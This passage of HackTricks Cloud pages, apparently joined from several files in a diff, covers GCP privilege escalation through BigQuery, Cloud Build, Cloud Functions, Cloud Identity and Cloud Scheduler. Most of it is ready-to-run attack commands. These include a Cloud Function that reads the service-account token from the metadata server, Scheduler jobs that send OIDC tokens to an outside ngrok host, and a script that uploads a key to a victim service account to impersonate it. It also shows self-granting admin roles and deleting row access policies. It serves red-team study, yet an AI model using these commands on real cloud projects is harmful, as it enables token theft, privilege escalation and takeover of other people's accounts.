Reading the information stored inside the a BigQuery table it might be possible to find s**ensitive information**. To access the info the permission needed is **`bigquery.tables.get`** , **`bigquery.jobs.create`** and **`bigquery.tables.getData`**:
```bash
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
```
### Export data
This is another way to access the data. **Export it to a cloud storage bucket** and the **download the files** with the information.\
To perform this action the following permissions are needed: **`bigquery.tables.export`**, **`bigquery.jobs.create`** and **`storage.objects.create`**.
```bash
bq extract <dataset>.<table> "gs://<bucket>/table*.csv"
```
### Insert data
It might be possible to **introduce certain trusted data** in a Bigquery table to abuse a **vulnerability in some other place.** This can be easily done with the permissions **`bigquery.tables.get`** , **`bigquery.tables.updateData`** and **`bigquery.jobs.create`**:
{% code overflow="wrap" %}
```bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
# Via insert param
bq insert dataset.table /tmp/mydata.json
```
{% endcode %}
### `bigquery.datasets.setIamPolicy`
An attacker could abuse this privilege to **give himself further permissions** over a BigQuery dataset:
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
```
### `bigquery.datasets.update`, (`bigquery.datasets.get`)
Just this permission allows to **update your access over a BigQuery dataset by modifying the ACLs** that indicate who can access it:
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>
```
### `bigquery.tables.setIamPolicy`
An attacker could abuse this privilege to **give himself further permissions** over a BigQuery table:
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>
# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy
```
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
According to the docs, with the mention permissions it's possible to **update a row policy.**\
However, **using the cli `bq`** you need some more: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
{% code overflow="wrap" %}
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
```
{% endcode %}
It's possible to find the filter ID in the output of the row policies enumeration. Example:
```bash
bq ls --row_access_policies <proj>:<dataset>.<table>
Id Filter Predicate Grantees Creation Time Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter term = "Cfba" user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
```
If you have **`bigquery.rowAccessPolicies.delete`** instead of `bigquery.rowAccessPolicies.update` you could also just delete the policy:
{% code overflow="wrap" %}
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
```
{% endcode %}
{% hint style="danger" %}
Another potential option to bypass row access policies would be to just change the value of the restricted data. If you can only see when `term` is `Cfba`, just modify all the records of the table to have `term = "Cfba"`. However this is prevented by bigquery.
{% endhint %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,54 @@
# GCP - ClientAuthConfig Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Create OAuth Brand and Client
[**According to the docs**](https://cloud.google.com/iap/docs/programmatic-oauth-clients), these are the required permissions:
* `clientauthconfig.brands.list`
* `clientauthconfig.brands.create`
* `clientauthconfig.brands.get`
* `clientauthconfig.clients.create`
* `clientauthconfig.clients.listWithSecrets`
* `clientauthconfig.clients.getWithSecret`
* `clientauthconfig.clients.delete`
* `clientauthconfig.clients.update`
{% code overflow="wrap" %}
```bash
# Create a brand
gcloud iap oauth-brands list
gcloud iap oauth-brands create --application_title=APPLICATION_TITLE --support_email=SUPPORT_EMAIL
# Create a client of the brand
gcloud iap oauth-clients create projects/PROJECT_NUMBER/brands/BRAND-ID --display_name=NAME
```
{% endcode %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,94 @@
# GCP - Cloudbuild Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## cloudbuild
For more information about Cloud Build check:
{% content-ref url="../gcp-services/gcp-cloud-build-enum.md" %}
[gcp-cloud-build-enum.md](../gcp-services/gcp-cloud-build-enum.md)
{% endcontent-ref %}
### `cloudbuild.builds.create`
With this permission you can **submit a cloud build**. The cloudbuild machine will have in its filesystem by **default a token of the cloudbuild Service Account**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. However, you can **indicate any service account inside the project** in the cloudbuild configuration.\
Therefore, you can just make the machine exfiltrate to your server the token or **get a reverse shell inside of it and get yourself the token** (the file containing the token might change).
You can find the original exploit script [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (but the location it's taking the token from didn't work for me). Therefore, check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) and a python script to get a reverse shell inside the cloudbuild machine and [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in the code you can find how to specify other service accounts)**.**
For a more in-depth explanation, visit [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
### `cloudbuild.builds.update`
**Potentially** with this permission you will be able to **update a cloud build and just steal the service account token** like it was performed with the previous permission (but unfortunately at the time of this writing I couldn't find any way to call that API).
TODO
### `cloudbuild.repositories.accessReadToken`
With this permission the user can get the **read access token** used to access the repository:
{% code overflow="wrap" %}
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
```
{% endcode %}
### `cloudbuild.repositories.accessReadWriteToken`
With this permission the user can get the **read and write access token** used to access the repository:
{% code overflow="wrap" %}
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
```
{% endcode %}
### `cloudbuild.connections.fetchLinkableRepositories`
With this permission you can **get the repos the connection has access to:**
{% code overflow="wrap" %}
```bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
```
{% endcode %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,142 @@
# GCP - Cloudfunctions Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## cloudfunctions
More information about Cloud Functions:
{% content-ref url="../gcp-services/gcp-cloud-functions-enum.md" %}
[gcp-cloud-functions-enum.md](../gcp-services/gcp-cloud-functions-enum.md)
{% endcontent-ref %}
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
An attacker with these privileges can **create a new Cloud Function with arbitrary (malicious) code and assign it a Service Account**. Then, leak the Service Account token from the metadata to escalate privileges to it.\
Some privileges to trigger the function might be required.
Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
An attacker with these privileges can **modify the code of a Function and even modify the service account attached** with the goal of exfiltrating the token.
{% hint style="danger" %}
In order to deploy cloud functions you will also need actAs permissions over the default compute service account or over the service account that is used to build the image.
{% endhint %}
Some extra privileges like `.call` permission for version 1 cloudfunctions or the role `role/run.invoker` to trigger the function might be required.
```bash
# Create new code
temp_dir=$(mktemp -d)
cat > $temp_dir/main.py <<EOF
import subprocess
def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF
echo "" > $temp_dir/requirements.txt
zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt
# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated
# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
```
{% hint style="danger" %}
If you get the error `Permission 'run.services.setIamPolicy' denied on resource...` is because you are using the `--allow-unauthenticated` param and you don't have enough permissions for it.
{% endhint %}
The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
### `cloudfunctions.functions.sourceCodeSet`
With this permission you can get a **signed URL to be able to upload a file to a function bucket (but the code of the function won't be changed, you still need to update it)**
{% code overflow="wrap" %}
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
{% endcode %}
Not really sure how useful only this permission is from an attackers perspective, but good to know.
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
Give yourself any of the previous **`.update`** or **`.create`** privileges to escalate.
### `cloudfunctions.functions.update`
Only having **`cloudfunctions`** permissions, without **`iam.serviceAccounts.actAs`** you **won't be able to update the function SO THIS IS NOT A VALID PRIVESC.**
### Read & Write Access over the bucket
If you have read and write access over the bucket you can monitor changes in the code and whenever an **update in the bucket happens you can update the new code with your own code** that the new version of the Cloud Function will be run with the submitted backdoored code.
You can check more about the attack in:
{% content-ref url="gcp-storage-privesc.md" %}
[gcp-storage-privesc.md](gcp-storage-privesc.md)
{% endcontent-ref %}
However, you cannot use this to pre-compromise third party Cloud Functions because if you create the bucket in your account and give it public permissions so the external project can write over it, you get the following error:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
{% hint style="danger" %}
However, this could be used for DoS attacks.
{% endhint %}
### Read & Write Access over Artifact Registry
When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the `cache` image) and nothing changed, the cloud function continue working. Therefore, maybe it **might be possible to abuse a Race Condition attack** like with the bucket to change the docker container that will be run but **just modifying the stored image isn't possible to compromise the Cloud Function**.
## References
* [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,64 @@
# GCP - Cloudidentity Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Cloudidentity
For more information about the cloudidentity service, check this page:
{% content-ref url="../gcp-services/gcp-iam-and-org-policies-enum.md" %}
[gcp-iam-and-org-policies-enum.md](../gcp-services/gcp-iam-and-org-policies-enum.md)
{% endcontent-ref %}
### Add yourself to a group
If your user has enough permissions or the group is misconfigured, he might be able to make himself a member of a new group:
{% code overflow="wrap" %}
```bash
gcloud identity groups memberships add --group-email <email> --member-email <email> [--roles OWNER]
# If --roles isn't specified you will get MEMBER
```
{% endcode %}
### Modify group membership
If your user has enough permissions or the group is misconfigured, he might be able to make himself OWNER of a group he is a member of:
{% code overflow="wrap" %}
```bash
# Check the current membership level
gcloud identity groups memberships describe --member-email <email> --group-email <email>
# If not OWNER try
gcloud identity groups memberships modify-membership-roles --group-email <email> --member-email <email> --add-roles=OWNER
```
{% endcode %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,151 @@
# GCP - Cloud Scheduler Privesc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Cloud Scheduler
More information in:
{% content-ref url="../gcp-services/gcp-cloud-scheduler-enum.md" %}
[gcp-cloud-scheduler-enum.md](../gcp-services/gcp-cloud-scheduler-enum.md)
{% endcontent-ref %}
### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
An attacker with these permissions could exploit **Cloud Scheduler** to **authenticate cron jobs as a specific Service Account**. By crafting an HTTP POST request, the attacker schedules actions, like creating a Storage bucket, to execute under the Service Account's identity. This method leverages the **Scheduler's ability to target `*.googleapis.com` endpoints and authenticate requests**, allowing the attacker to manipulate Google API endpoints directly using a simple `gcloud` command.
* **Contact any google API via`googleapis.com` with OAuth token header**
Create a new Storage bucket:
{% code overflow="wrap" %}
```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
```
{% endcode %}
To escalate privileges, an **attacker merely crafts an HTTP request targeting the desired API, impersonating the specified Service Account**
* **Exfiltrate OIDC service account token**
{% code overflow="wrap" %}
```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
```
{% endcode %}
If you need to check the HTTP response you might just t**ake a look at the logs of the execution**.
### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
Like in the previous scenario it's possible to **update an already created scheduler** to steal the token or perform actions. For example:
{% code overflow="wrap" %}
```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
```
{% endcode %}
Another example to upload a private key to a SA and impersonate it:
{% code overflow="wrap" %}
```bash
# Generate local private key
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
-keyout /tmp/private_key.pem \
-out /tmp/public_key.pem \
-subj "/CN=unused"
# Remove last new line character of the public key
file_size=$(wc -c < /tmp/public_key.pem)
new_size=$((file_size - 1))
truncate -s $new_size /tmp/public_key.pem
# Update scheduler to upload the key to a SA
## For macOS: REMOVE THE `-w 0` FROM THE BASE64 COMMAND
gcloud scheduler jobs update http scheduler_lab_1 \
--schedule='* * * * *' \
--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
--message-body="{\"publicKeyData\": \"$(cat /tmp/public_key.pem | base64 -w 0)\"}" \
--update-headers "Content-Type=application/json" \
--location us-central1 \
--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com
# Wait 1 min
sleep 60
# Check the logs to check it worked
gcloud logging read 'resource.type="cloud_scheduler_job" AND resource.labels.job_id="scheduler_lab_1" AND resource.labels.location="us-central1"
jsonPayload.@type="type.googleapis.com/google.cloud.scheduler.logging.AttemptFinished"' --limit 10 --project <project-id> --format=json
## If any '"status": 200' it means it worked!
## Note that this scheduler will be executed every minute and after a key has been created, all the other attempts to submit the same key will throw a: "status": 400
# Build the json to contact the SA
## Get privatekey in json format
file_content=$(<"/tmp/private_key.pem")
private_key_json=$(jq -Rn --arg str "$file_content" '$str')
## Get ID of the generated key
gcloud iam service-accounts keys list --iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com
# Create the json in a file
## NOTE that you need to export your project-id in the env var PROJECT_ID
## and that this script is expecting the key ID to be the first one (check the `head`)
export PROJECT_ID=...
cat > /tmp/lab.json <<EOF
{
"type": "service_account",
"project_id": "$PROJECT_ID",
"private_key_id": "$(gcloud iam service-accounts keys list --iam-account=scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | cut -d " " -f 1 | grep -v KEY_ID | head -n 1)",
"private_key": $private_key_json,
"client_email": "scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com",
"client_id": "$(gcloud iam service-accounts describe scheduler-lab-1-target@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/scheduler-lab-1-target%40$PROJECT_ID.iam.gserviceaccount.com",
"universe_domain": "googleapis.com"
}
EOF
# Activate the generated key
gcloud auth activate-service-account --key-file=/tmp/lab.json
```
{% endcode %}
## References
* [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,159 @@
# GCP - Composer Privesc
{% hint style="success" %}
